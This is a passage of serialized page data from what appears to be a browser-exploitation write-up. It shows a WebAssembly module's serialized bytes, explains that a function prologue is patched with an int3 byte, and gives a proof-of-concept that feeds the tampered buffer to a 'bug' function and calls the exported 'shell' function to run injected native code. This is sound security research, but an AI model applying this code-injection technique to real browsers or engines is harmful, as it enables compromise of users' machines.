serialized",{"type":23,"tag":213,"props":134002,"children":134003},{"style":274},[134004],{"type":28,"value":511},{"type":23,"tag":213,"props":134006,"children":134007},{"style":274},[134008],{"type":28,"value":134009}," %",{"type":23,"tag":213,"props":134011,"children":134012},{"style":257},[134013],{"type":28,"value":133008},{"type":23,"tag":213,"props":134015,"children":134016},{"style":220},[134017],{"type":28,"value":265},{"type":23,"tag":213,"props":134019,"children":134020},{"style":268},[134021],{"type":28,"value":133913},{"type":23,"tag":213,"props":134023,"children":134024},{"style":220},[134025],{"type":28,"value":2867},{"type":23,"tag":213,"props":134027,"children":134028},{"class":215,"line":1758},[134029,134033,134037,134041,134045,134049,134053,134058],{"type":23,"tag":213,"props":134030,"children":134031},{"style":230},[134032],{"type":28,"value":11871},{"type":23,"tag":213,"props":134034,"children":134035},{"style":268},[134036],{"type":28,"value":9246},{"type":23,"tag":213,"props":134038,"children":134039},{"style":274},[134040],{"type":28,"value":511},{"type":23,"tag":213,"props":134042,"children":134043},{"style":230},[134044],{"type":28,"value":31989},{"type":23,"tag":213,"props":134046,"children":134047},{"style":257},[134048],{"type":28,"value":133519},{"type":23,"tag":213,"props":134050,"children":134051},{"style":220},[134052],{"type":28,"value":265},{"type":23,"tag":213,"props":134054,"children":134055},{"style":268},[134056],{"type":28,"value":134057},"serialized",{"type":23,"tag":213,"props":134059,"children":134060},{"style":220},[134061],{"type":28,"value":2867},{"type":23,"tag":213,"props":134063,"children":134064},{"class":215,"line":1767},[134065,134070,134074,134078,134082,134087,134091,134095,134099,134104,134108,134113,134117,134121,134126],{"type":23,"tag":213,"props":134066,"children":134067},{"style":268},[134068],{"type":28,"value":134069},"console",{"type":23,"tag":213,"props":134071,"children":134072},{"style":220},[134073],{"type":28,"value":124},{"type":23,"tag":213,"props":134075,"children":134076},{"style":257},[134077],{"type":28,"value":102006},{"type":23,"tag":213,"props":134079,"children":134080},{"style":220},[134081],{"type":28,"value":265},{"type":23,"tag":213,"props":134083,"children":134084},{"style":246},[134085],{"type":28,"value":134086},"'['",{"type":23,"tag":213,"props":134088,"children":134089},{"style":274},[134090],{"type":28,"value":8989},{"type":23,"tag":213,"props":134092,"children":134093},{"style":268},[134094],{"type":28,"value":9246},{"type":23,"tag":213,"props":134096,"children":134097},{"style":220},[134098],{"type":28,"value":124},{"type":23,"tag":213,"props":134100,"children":134101},{"style":257},[134102],{"type":28,"value":134103},"join",{"type":23,"tag":213,"props":134105,"children":134106},{"style":220},[134107],{"type":28,"value":265},{"type":23,"tag":213,"props":134109,"children":134110},{"style":246},[134111],{"type":28,"value":134112},"', '",{"type":23,"tag":213,"props":134114,"children":134115},{"style":220},[134116],{"type":28,"value":298},{"type":23,"tag":213,"props":134118,"children":134119},{"style":274},[134120],{"type":28,"value":2703},{"type":23,"tag":213,"props":134122,"children":134123},{"style":246},[134124],{"type":28,"value":134125}," ']'",{"type":23,"tag":213,"props":134127,"children":134128},{"style":220},[134129],{"type":28,"value":2867},{"type":23,"tag":24,"props":134131,"children":134132},{},[134133],{"type":28,"value":134134},"This produces the following output:",{"type":23,"tag":202,"props":134136,"children":134138},{"code":134137},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[134139],{"type":23,"tag":209,"props":134140,"children":134141},{"__ignoreMap":7},[134142],{"type":28,"value":134137},{"type":23,"tag":24,"props":134144,"children":134145},{},[134146,134148,134154,134156,134162,134164,134170,134171,134177,134179,134184],{"type":28,"value":134147},"The bytes ",{"type":23,"tag":209,"props":134149,"children":134151},{"className":134150},[],[134152],{"type":28,"value":134153},"85, 72, 137, 229, ...",{"type":28,"value":134155}," correspond to the x86-64 function prologue (",{"type":23,"tag":209,"props":134157,"children":134159},{"className":134158},[],[134160],{"type":28,"value":134161},"push rbp; mov rbp, rsp",{"type":28,"value":134163},"). We replace the first byte with ",{"type":23,"tag":209,"props":134165,"children":134167},{"className":134166},[],[134168],{"type":28,"value":134169},"0xcc",{"type":28,"value":16511},{"type":23,"tag":209,"props":134172,"children":134174},{"className":134173},[],[134175],{"type":28,"value":134176},"int3",{"type":28,"value":134178}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":209,"props":134180,"children":134182},{"className":134181},[],[134183],{"type":28,"value":132982},{"type":28,"value":277},{"type":23,"tag":202,"props":134186,"children":134188},{"code":134187,"language":35673,"meta":7,"className":35671,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[134189],{"type":23,"tag":209,"props":134190,"children":134191},{"__ignoreMap":7},[134192,134215,134242,134462,134529,134537,134564,134778,135030,135281,135507,135751,135971,135978,136027,136072,136116,136155,136167],{"type":23,"tag":213,"props":134193,"children":134194},{"class":215,"line":216},[134195,134199,134203,134207,134211],{"type":23,"tag":213,"props":134196,"children":134197},{"style":220},[134198],{"type":28,"value":265},{"type":23,"tag":213,"props":134200,"children":134201},{"style":230},[134202],{"type":28,"value":36203},{"type":23,"tag":213,"props":134204,"children":134205},{"style":220},[134206],{"type":28,"value":39754},{"type":23,"tag":213,"props":134208,"children":134209},{"style":230},[134210],{"type":28,"value":1445},{"type":23,"tag":213,"props":134212,"children":134213},{"style":220},[134214],{"type":28,"value":1375},{"type":23,"tag":213,"props":134216,"children":134217},{"class":215,"line":226},[134218,134222,134226,134230,134234,134238],{"type":23,"tag":213,"props":134219,"children":134220},{"style":230},[134221],{"type":28,"value":36246},{"type":23,"tag":213,"props":134223,"children":134224},{"style":268},[134225],{"type":28,"value":133506},{"type":23,"tag":213,"props":134227,"children":134228},{"style":274},[134229],{"type":28,"value":511},{"type":23,"tag":213,"props":134231,"children":134232},{"style":230},[134233],{"type":28,"value":31989},{"type":23,"tag":213,"props":134235,"children":134236},{"style":257},[134237],{"type":28,"value":133519},{"type":23,"tag":213,"props":134239,"children":134240},{"style":220},[134241],{"type":28,"value":133524},{"type":23,"tag":213,"props":134243,"children":134244},{"class":215,"line":524},[134245,134250,134254,134258,134262,134266,134270,134274,134278,134282,134286,134290,134294,134298,134302,134306,134310,134314,134318,134322,134326,134330,134334,134338,134342,134346,134350,134354,134358,134362,134366,134370,134374,134378,134382,134386,134390,134394,134398,134402,134406,134410,134414,134418,134422,134426,134430,134434,134438,134442,134446,134450,134454,134458],{"type":23,"tag":213,"props":134246,"children":134247},{"style":514},[134248],{"type":28,"value":134249}," 0",{"type":23,"tag":213,"props":134251,"children":134252},{"style":220},[134253],{"type":28,"value":424},{"type":23,"tag":213,"props":134255,"children":134256},{"style":514},[134257],{"type":28,"value":133541},{"type":23,"tag":213,"props":134259,"children":134260},{"style":220},[134261],{"type":28,"value":424},{"type":23,"tag":213,"props":134263,"children":134264},{"style":514},[134265],{"type":28,"value":133550},{"type":23,"tag":213,"props":134267,"children":134268},{"style":220},[134269],{"type":28,"value":424},{"type":23,"tag":213,"props":134271,"children":134272},{"style":514},[134273],{"type":28,"value":133559},{"type":23,"tag":213,"props":134275,"children":134276},{"style":220},[134277],{"type":28,"value":424},{"type":23,"tag":213,"props":134279,"children":134280},{"style":514},[134281],{"type":28,"value":4106},{"type":23,"tag":213,"props":134283,"children":134284},{"style":220},[134285],{"type":28,"value":424},{"type":23,"tag":213,"props":134287,"children":134288},{"style":514},[134289],{"type":28,"value":4116},{"type":23,"tag":213,"props":134291,"children":134292},{"style":220},[134293],{"type":28,"value":424},{"type":23,"tag":213,"props":134295,"children":134296},{"style":514},[134297],{"type":28,"value":4116},{"type":23,"tag":213,"props":134299,"children":134300},{"style":220},[134301],{"type":28,"value":424},{"type":23,"tag":213,"props":134303,"children":134304},{"style":514},[134305],{"type":28,"value":4116},{"type":23,"tag":213,"props":134307,"children":134308},{"style":220},[134309],{"type":28,"value":424},{"type":23,"tag":213,"props":134311,"children":134312},{"style":514},[134313],{"type":28,"value":4106},{"type":23,"tag":213,"props":134315,"children":134316},{"style":220},[134317],{"type":28,"value":424},{"type":23,"tag":213,"props":134319,"children":134320},{"style":514},[134321],{"type":28,"value":17578},{"type":23,"tag":213,"props":134323,"children":134324},{"style":220},[134325],{"type":28,"value":424},{"type":23,"tag":213,"props":134327,"children":134328},{"style":514},[134329],{"type":28,"value":4106},{"type":23,"tag":213,"props":134331,"children":134332},{"style":220},[134333],{"type":28,"value":424},{"type":23,"tag":213,"props":134335,"children":134336},{"style":514},[134337],{"type":28,"value":133624},{"type":23,"tag":213,"props":134339,"children":134340},{"style":220},[134341],{"type":28,"value":424},{"type":23,"tag":213,"props":134343,"children":134344},{"style":514},[134345],{"type":28,"value":4116},{"type":23,"tag":213,"props":134347,"children":134348},{"style":220},[134349],{"type":28,"value":424},{"type":23,"tag":213,"props":134351,"children":134352},{"style":514},[134353],{"type":28,"value":4116},{"type":23,"tag":213,"props":134355,"children":134356},{"style":220},[134357],{"type":28,"value":424},{"type":23,"tag":213,"props":134359,"children":134360},{"style":514},[134361],{"type":28,"value":17346},{"type":23,"tag":213,"props":134363,"children":134364},{"style":220},[134365],{"type":28,"value":424},{"type":23,"tag":213,"props":134367,"children":134368},{"style":514},[134369],{"type":28,"value":3221},{"type":23,"tag":213,"props":134371,"children":134372},{"style":220},[134373],{"type":28,"value":424},{"type":23,"tag":213,"props":134375,"children":134376},{"style":514},[134377],{"type":28,"value":4106},{"type":23,"tag":213,"props":134379,"children":134380},{"style":220},[134381],{"type":28,"value":424},{"type":23,"tag":213,"props":134383,"children":134384},{"style":514},[134385],{"type":28,"value":4116},{"type":23,"tag":213,"props":134387,"children":134388},{"style":220},[134389],{"type":28,"value":424},{"type":23,"tag":213,"props":134391,"children":134392},{"style":514},[134393],{"type":28,"value":54724},{"type":23,"tag":213,"props":134395,"children":134396},{"style":220},[134397],{"type":28,"value":424},{"type":23,"tag":213,"props":134399,"children":134400},{"style":514},[134401],{"type":28,"value":55938},{"type":23,"tag":213,"props":134403,"children":134404},{"style":220},[134405],{"type":28,"value":424},{"type":23,"tag":213,"props":134407,"children":134408},{"style":514},[134409],{"type":28,"value":4106},{"type":23,"tag":213,"props":134411,"children":134412},{"style":220},[134413],{"type":28,"value":424},{"type":23,"tag":213,"props":134415,"children":134416},{"style":514},[134417],{"type":28,"value":18159},{"type":23,"tag":213,"props":134419,"children":134420},{"style":220},[134421],{"type":28,"value":424},{"type":23,"tag":213,"props":134423,"children":134424},{"style":514},[134425],{"type":28,"value":133550},{"type":23,"tag":213,"props":134427,"children":134428},{"style":220},[134429],{"type":28,"value":424},{"type":23,"tag":213,"props":134431,"children":134432},{"style":514},[134433],{"type":28,"value":133721},{"type":23,"tag":213,"props":134435,"children":134436},{"style":220},[134437],{"type":28,"value":424},{"type":23,"tag":213,"props":134439,"children":134440},{"style":514},[134441],{"type":28,"value":133730},{"type":23,"tag":213,"props":134443,"children":134444},{"style":220},[134445],{"type":28,"value":424},{"type":23,"tag":213,"props":134447,"children":134448},{"style":514},[134449],{"type":28,"value":133739},{"type":23,"tag":213,"props":134451,"children":134452},{"style":220},[134453],{"type":28,"value":424},{"type":23,"tag":213,"props":134455,"children":134456},{"style":514},[134457],{"type":28,"value":133739},{"type":23,"tag":213,"props":134459,"children":134460},{"style":220},[134461],{"type":28,"value":944},{"type":23,"tag":213,"props":134463,"children":134464},{"class":215,"line":533},[134465,134469,134473,134477,134481,134485,134489,134493,134497,134501,134505,134509,134513,134517,134521,134525],{"type":23,"tag":213,"props":134466,"children":134467},{"style":514},[134468],{"type":28,"value":134249},{"type":23,"tag":213,"props":134470,"children":134471},{"style":220},[134472],{"type":28,"value":424},{"type":23,"tag":213,"props":134474,"children":134475},{"style":514},[134476],{"type":28,"value":4116},{"type":23,"tag":213,"props":134478,"children":134479},{"style":220},[134480],{"type":28,"value":424},{"type":23,"tag":213,"props":134482,"children":134483},{"style":514},[134484],{"type":28,"value":89306},{"type":23,"tag":213,"props":134486,"children":134487},{"style":220},[134488],{"type":28,"value":424},{"type":23,"tag":213,"props":134490,"children":134491},{"style":514},[134492],{"type":28,"value":17578},{"type":23,"tag":213,"props":134494,"children":134495},{"style":220},[134496],{"type":28,"value":424},{"type":23,"tag":213,"props":134498,"children":134499},{"style":514},[134500],{"type":28,"value":4106},{"type":23,"tag":213,"props":134502,"children":134503},{"style":220},[134504],{"type":28,"value":424},{"type":23,"tag":213,"props":134506,"children":134507},{"style":514},[134508],{"type":28,"value":3221},{"type":23,"tag":213,"props":134510,"children":134511},{"style":220},[134512],{"type":28,"value":424},{"type":23,"tag":213,"props":134514,"children":134515},{"style":514},[134516],{"type":28,"value":4116},{"type":23,"tag":213,"props":134518,"children":134519},{"style":220},[134520],{"type":28,"value":424},{"type":23,"tag":213,"props":134522,"children":134523},{"style":514},[134524],{"type":28,"value":133815},{"type":23,"tag":213,"props":134526,"children":134527},{"style":220},[134528],{"type":28,"value":944},{"type":23,"tag":213,"props":134530,"children":134531},{"class":215,"line":543},[134532],{"type":23,"tag":213,"props":134533,"children":134534},{"style":220},[134535],{"type":28,"value":134536}," ]);\n",{"type":23,"tag":213,"props":134538,"children":134539},{"class":215,"line":551},[134540,134544,134548,134552,134556,134560],{"type":23,"tag":213,"props":134541,"children":134542},{"style":230},[134543],{"type":28,"value":36246},{"type":23,"tag":213,"props":134545,"children":134546},{"style":268},[134547],{"type":28,"value":125320},{"type":23,"tag":213,"props":134549,"children":134550},{"style":274},[134551],{"type":28,"value":511},{"type":23,"tag":213,"props":134553,"children":134554},{"style":230},[134555],{"type":28,"value":31989},{"type":23,"tag":213,"props":134557,"children":134558},{"style":257},[134559],{"type":28,"value":133519},{"type":23,"tag":213,"props":134561,"children":134562},{"style":220},[134563],{"type":28,"value":133524},{"type":23,"tag":213,"props":134565,"children":134566},{"class":215,"line":570},[134567,134572,134576,134580,134584,134589,134593,134598,134602,134607,134611,134616,134620,134625,134629,134634,134638,134643,134647,134652,134656,134660,134664,134668,134672,134677,134681,134686,134690,134694,134698,134702,134706,134710,134714,134718,134722,134726,134730,134734,134738,134742,134746,134750,134754,134758,134762,134766,134770,134774],{"type":23,"tag":213,"props":134568,"children":134569},{"style":514},[134570],{"type":28,"value":134571}," 147",{"type":23,"tag":213,"props":134573,"children":134574},{"style":220},[134575],{"type":28,"value":424},{"type":23,"tag":213,"props":134577,"children":134578},{"style":514},[134579],{"type":28,"value":18471},{"type":23,"tag":213,"props":134581,"children":134582},{"style":220},[134583],{"type":28,"value":424},{"type":23,"tag":213,"props":134585,"children":134586},{"style":514},[134587],{"type":28,"value":134588},"222",{"type":23,"tag":213,"props":134590,"children":134591},{"style":220},[134592],{"type":28,"value":424},{"type":23,"tag":213,"props":134594,"children":134595},{"style":514},[134596],{"type":28,"value":134597},"192",{"type":23,"tag":213,"props":134599,"children":134600},{"style":220},[134601],{"type":28,"value":424},{"type":23,"tag":213,"props":134603,"children":134604},{"style":514},[134605],{"type":28,"value":134606},"20",{"type":23,"tag":213,"props":134608,"children":134609},{"style":220},[134610],{"type":28,"value":424},{"type":23,"tag":213,"props":134612,"children":134613},{"style":514},[134614],{"type":28,"value":134615},"119",{"type":23,"tag":213,"props":134617,"children":134618},{"style":220},[134619],{"type":28,"value":424},{"type":23,"tag":213,"props":134621,"children":134622},{"style":514},[134623],{"type":28,"value":134624},"44",{"type":23,"tag":213,"props":134626,"children":134627},{"style":220},[134628],{"type":28,"value":424},{"type":23,"tag":213,"props":134630,"children":134631},{"style":514},[134632],{"type":28,"value":134633},"43",{"type":23,"tag":213,"props":134635,"children":134636},{"style":220},[134637],{"type":28,"value":424},{"type":23,"tag":213,"props":134639,"children":134640},{"style":514},[134641],{"type":28,"value":134642},"127",{"type":23,"tag":213,"props":134644,"children":134645},{"style":220},[134646],{"type":28,"value":424},{"type":23,"tag":213,"props":134648,"children":134649},{"style":514},[134650],{"type":28,"value":134651},"62",{"type":23,"tag":213,"props":134653,"children":134654},{"style":220},[134655],{"type":28,"value":424},{"type":23,"tag":213,"props":134657,"children":134658},{"style":514},[134659],{"type":28,"value":17346},{"type":23,"tag":213,"props":134661,"children":134662},{"style":220},[134663],{"type":28,"value":424},{"type":23,"tag":213,"props":134665,"children":134666},{"style":514},[134667],{"type":28,"value":4116},{"type":23,"tag":213,"props":134669,"children":134670},{"style":220},[134671],{"type":28,"value":424},{"type":23,"tag":213,"props":134673,"children":134674},{"style":514},[134675],{"type":28,"value":134676},"159",{"type":23,"tag":213,"props":134678,"children":134679},{"style":220},[134680],{"type":28,"value":424},{"type":23,"tag":213,"props":134682,"children":134683},{"style":514},[134684],{"type":28,"value":134685},"206",{"type":23,"tag":213,"props":134687,"children":134688},{"style":220},[134689],{"type":28,"value":424},{"type":23,"tag":213,"props":134691,"children":134692},{"style":514},[134693],{"type":28,"value":44200},{"type":23,"tag":213,"props":134695,"children":134696},{"style":220},[134697],{"type":28,"value":424},{"type":23,"tag":213,"props":134699,"children":134700},{"style":514},[134701],{"type":28,"value":134633},{"type":23,"tag":213,"props":134703,"children":134704},{"style":220},[134705],{"type":28,"value":424},{"type":23,"tag":213,"props":134707,"children":134708},{"style":514},[134709],{"type":28,"value":4116},{"type":23,"tag":213,"props":134711,"children":134712},{"style":220},[134713],{"type":28,"value":424},{"type":23,"tag":213,"props":134715,"children":134716},{"style":514},[134717],{"type":28,"value":4116},{"type":23,"tag":213,"props":134719,"children":134720},{"style":220},[134721],{"type":28,"value":424},{"type":23,"tag":213,"props":134723,"children":134724},{"style":514},[134725],{"type":28,"value":17346},{"type":23,"tag":213,"props":134727,"children":134728},{"style":220},[134729],{"type":28,"value":424},{"type":23,"tag":213,"props":134731,"children":134732},{"style":514},[134733],{"type":28,"value":4116},{"type":23,"tag":213,"props":134735,"children":134736},{"style":220},[134737],{"type":28,"value":424},{"type":23,"tag":213,"props":134739,"children":134740},{"style":514},[134741],{"type":28,"value":4116},{"type":23,"tag":213,"props":134743,"children":134744},{"style":220},[134745],{"type":28,"value":424},{"type":23,"tag":213,"props":134747,"children":134748},{"style":514},[134749],{"type":28,"value":4116},{"type":23,"tag":213,"props":134751,"children":134752},{"style":220},[134753],{"type":28,"value":424},{"type":23,"tag":213,"props":134755,"children":134756},{"style":514},[134757],{"type":28,"value":4116},{"type":23,"tag":213,"props":134759,"children":134760},{"style":220},[134761],{"type":28,"value":424},{"type":23,"tag":213,"props":134763,"children":134764},{"style":514},[134765],{"type":28,"value":4116},{"type":23,"tag":213,"props":134767,"children":134768},{"style":220},[134769],{"type":28,"value":424},{"type":23,"tag":213,"props":134771,"children":134772},{"style":514},[134773],{"type":28,"value":29479},{"type":23,"tag":213,"props":134775,"children":134776},{"style":220},[134777],{"type":28,"value":944},{"type":23,"tag":213,"props":134779,"children":134780},{"class":215,"line":655},[134781,134785,134789,134793,134797,134801,134805,134809,134813,134817,134821,134825,134829,134833,134837,134841,134845,134849,134853,134857,134861,134865,134869,134873,134877,134881,134885,134889,134893,134897,134901,134905,134909,134913,134917,134922,134926,134930,134934,134938,134942,134946,134950,134954,134958,134962,134966,134970,134974,134978,134982,134986,134990,134994,134998,135002,135006,135010,135014,135018,135022,135026],{"type":23,"tag":213,"props":134782,"children":134783},{"style":514},[134784],{"type":28,"value":134249},{"type":23,"tag":213,"props":134786,"children":134787},{"style":220},[134788],{"type":28,"value":424},{"type":23,"tag":213,"props":134790,"children":134791},{"style":514},[134792],{"type":28,"value":4116},{"type":23,"tag":213,"props":134794,"children":134795},{"style":220},[134796],{"type":28,"value":424},{"type":23,"tag":213,"props":134798,"children":134799},{"style":514},[134800],{"type":28,"value":4116},{"type":23,"tag":213,"props":134802,"children":134803},{"style":220},[134804],{"type":28,"value":424},{"type":23,"tag":213,"props":134806,"children":134807},{"style":514},[134808],{"type":28,"value":4116},{"type":23,"tag":213,"props":134810,"children":134811},{"style":220},[134812],{"type":28,"value":424},{"type":23,"tag":213,"props":134814,"children":134815},{"style":514},[134816],{"type":28,"value":4116},{"type":23,"tag":213,"props":134818,"children":134819},{"style":220},[134820],{"type":28,"value":424},{"type":23,"tag":213,"props":134822,"children":134823},{"style":514},[134824],{"type":28,"value":4116},{"type":23,"tag":213,"props":134826,"children":134827},{"style":220},[134828],{"type":28,"value":424},{"type":23,"tag":213,"props":134830,"children":134831},{"style":514},[134832],{"type":28,"value":4116},{"type":23,"tag":213,"props":134834,"children":134835},{"style":220},[134836],{"type":28,"value":424},{"type":23,"tag":213,"props":134838,"children":134839},{"style":514},[134840],{"type":28,"value":4106},{"type":23,"tag":213,"props":134842,"children":134843},{"style":220},[134844],{"type":28,"value":424},{"type":23,"tag":213,"props":134846,"children":134847},{"style":514},[134848],{"type":28,"value":4116},{"type":23,"tag":213,"props":134850,"children":134851},{"style":220},[134852],{"type":28,"value":424},{"type":23,"tag":213,"props":134854,"children":134855},{"style":514},[134856],{"type":28,"value":4116},{"type":23,"tag":213,"props":134858,"children":134859},{"style":220},[134860],{"type":28,"value":424},{"type":23,"tag":213,"props":134862,"children":134863},{"style":514},[134864],{"type":28,"value":4116},{"type":23,"tag":213,"props":134866,"children":134867},{"style":220},[134868],{"type":28,"value":424},{"type":23,"tag":213,"props":134870,"children":134871},{"style":514},[134872],{"type":28,"value":4116},{"type":23,"tag":213,"props":134874,"children":134875},{"style":220},[134876],{"type":28,"value":424},{"type":23,"tag":213,"props":134878,"children":134879},{"style":514},[134880],{"type":28,"value":4116},{"type":23,"tag":213,"props":134882,"children":134883},{"style":220},[134884],{"type":28,"value":424},{"type":23,"tag":213,"props":134886,"children":134887},{"style":514},[134888],{"type":28,"value":4116},{"type":23,"tag":213,"props":134890,"children":134891},{"style":220},[134892],{"type":28,"value":424},{"type":23,"tag":213,"props":134894,"children":134895},{"style":514},[134896],{"type":28,"value":4116},{"type":23,"tag":213,"props":134898,"children":134899},{"style":220},[134900],{"type":28,"value":424},{"type":23,"tag":213,"props":134902,"children":134903},{"style":514},[134904],{"type":28,"value":4116},{"type":23,"tag":213,"props":134906,"children":134907},{"style":220},[134908],{"type":28,"value":424},{"type":23,"tag":213,"props":134910,"children":134911},{"style":514},[134912],{"type":28,"value":17578},{"type":23,"tag":213,"props":134914,"children":134915},{"style":220},[134916],{"type":28,"value":424},{"type":23,"tag":213,"props":134918,"children":134919},{"style":514},[134920],{"type":28,"value":134921},"28",{"type":23,"tag":213,"props":134923,"children":134924},{"style":220},[134925],{"type":28,"value":424},{"type":23,"tag":213,"props":134927,"children":134928},{"style":514},[134929],{"type":28,"value":4116},{"type":23,"tag":213,"props":134931,"children":134932},{"style":220},[134933],{"type":28,"value":424},{"type":23,"tag":213,"props":134935,"children":134936},{"style":514},[134937],{"type":28,"value":4116},{"type":23,"tag":213,"props":134939,"children":134940},{"style":220},[134941],{"type":28,"value":424},{"type":23,"tag":213,"props":134943,"children":134944},{"style":514},[134945],{"type":28,"value":4116},{"type":23,"tag":213,"props":134947,"children":134948},{"style":220},[134949],{"type":28,"value":424},{"type":23,"tag":213,"props":134951,"children":134952},{"style":514},[134953],{"type":28,"value":40903},{"type":23,"tag":213,"props":134955,"children":134956},{"style":220},[134957],{"type":28,"value":424},{"type":23,"tag":213,"props":134959,"children":134960},{"style":514},[134961],{"type":28,"value":4116},{"type":23,"tag":213,"props":134963,"children":134964},{"style":220},[134965],{"type":28,"value":424},{"type":23,"tag":213,"props":134967,"children":134968},{"style":514},[134969],{"type":28,"value":4116},{"type":23,"tag":213,"props":134971,"children":134972},{"style":220},[134973],{"type":28,"value":424},{"type":23,"tag":213,"props":134975,"children":134976},{"style":514},[134977],{"type":28,"value":4116},{"type":23,"tag":213,"props":134979,"children":134980},{"style":220},[134981],{"type":28,"value":424},{"type":23,"tag":213,"props":134983,"children":134984},{"style":514},[134985],{"type":28,"value":134921},{"type":23,"tag":213,"props":134987,"children":134988},{"style":220},[134989],{"type":28,"value":424},{"type":23,"tag":213,"props":134991,"children":134992},{"style":514},[134993],{"type":28,"value":4116},{"type":23,"tag":213,"props":134995,"children":134996},{"style":220},[134997],{"type":28,"value":424},{"type":23,"tag":213,"props":134999,"children":135000},{"style":514},[135001],{"type":28,"value":4116},{"type":23,"tag":213,"props":135003,"children":135004},{"style":220},[135005],{"type":28,"value":424},{"type":23,"tag":213,"props":135007,"children":135008},{"style":514},[135009],{"type":28,"value":4116},{"type":23,"tag":213,"props":135011,"children":135012},{"style":220},[135013],{"type":28,"value":424},{"type":23,"tag":213,"props":135015,"children":135016},{"style":514},[135017],{"type":28,"value":134921},{"type":23,"tag":213,"props":135019,"children":135020},{"style":220},[135021],{"type":28,"value":424},{"type":23,"tag":213,"props":135023,"children":135024},{"style":514},[135025],{"type":28,"value":4116},{"type":23,"tag":213,"props":135027,"children":135028},{"style":220},[135029],{"type":28,"value":944},{"type":23,"tag":213,"props":135031,"children":135032},{"class":215,"line":1176},[135033,135037,135041,135045,135049,135053,135057,135061,135065,135069,135073,135077,135081,135085,135089,135093,135097,135101,135105,135109,135113,135117,135121,135125,135129,135133,135137,135141,135145,135149,135153,135157,135161,135165,135169,135173,135177,135181,135185,135189,135193,135197,135201,135205,135209,135213,135217,135221,135225,135229,135233,135237,135241,135245,135249,135253,135257,135261,135265,135269,135273,135277],{"type":23,"tag":213,"props":135034,"children":135035},{"style":514},[135036],{"type":28,"value":134249},{"type":23,"tag":213,"props":135038,"children":135039},{"style":220},[135040],{"type":28,"value":424},{"type":23,"tag":213,"props":135042,"children":135043},{"style":514},[135044],{"type":28,"value":4116},{"type":23,"tag":213,"props":135046,"children":135047},{"style":220},[135048],{"type":28,"value":424},{"type":23,"tag":213,"props":135050,"children":135051},{"style":514},[135052],{"type":28,"value":134921},{"type":23,"tag":213,"props":135054,"children":135055},{"style":220},[135056],{"type":28,"value":424},{"type":23,"tag":213,"props":135058,"children":135059},{"style":514},[135060],{"type":28,"value":4116},{"type":23,"tag":213,"props":135062,"children":135063},{"style":220},[135064],{"type":28,"value":424},{"type":23,"tag":213,"props":135066,"children":135067},{"style":514},[135068],{"type":28,"value":4116},{"type":23,"tag":213,"props":135070,"children":135071},{"style":220},[135072],{"type":28,"value":424},{"type":23,"tag":213,"props":135074,"children":135075},{"style":514},[135076],{"type":28,"value":4116},{"type":23,"tag":213,"props":135078,"children":135079},{"style":220},[135080],{"type":28,"value":424},{"type":23,"tag":213,"props":135082,"children":135083},{"style":514},[135084],{"type":28,"value":17578},{"type":23,"tag":213,"props":135086,"children":135087},{"style":220},[135088],{"type":28,"value":424},{"type":23,"tag":213,"props":135090,"children":135091},{"style":514},[135092],{"type":28,"value":4116},{"type":23,"tag":213,"props":135094,"children":135095},{"style":220},[135096],{"type":28,"value":424},{"type":23,"tag":213,"props":135098,"children":135099},{"style":514},[135100],{"type":28,"value":4116},{"type":23,"tag":213,"props":135102,"children":135103},{"style":220},[135104],{"type":28,"value":424},{"type":23,"tag":213,"props":135106,"children":135107},{"style":514},[135108],{"type":28,"value":4116},{"type":23,"tag":213,"props":135110,"children":135111},{"style":220},[135112],{"type":28,"value":424},{"type":23,"tag":213,"props":135114,"children":135115},{"style":514},[135116],{"type":28,"value":4116},{"type":23,"tag":213,"props":135118,"children":135119},{"style":220},[135120],{"type":28,"value":424},{"type":23,"tag":213,"props":135122,"children":135123},{"style":514},[135124],{"type":28,"value":4116},{"type":23,"tag":213,"props":135126,"children":135127},{"style":220},[135128],{"type":28,"value":424},{"type":23,"tag":213,"props":135130,"children":135131},{"style":514},[135132],{"type":28,"value":4116},{"type":23,"tag":213,"props":135134,"children":135135},{"style":220},[135136],{"type":28,"value":424},{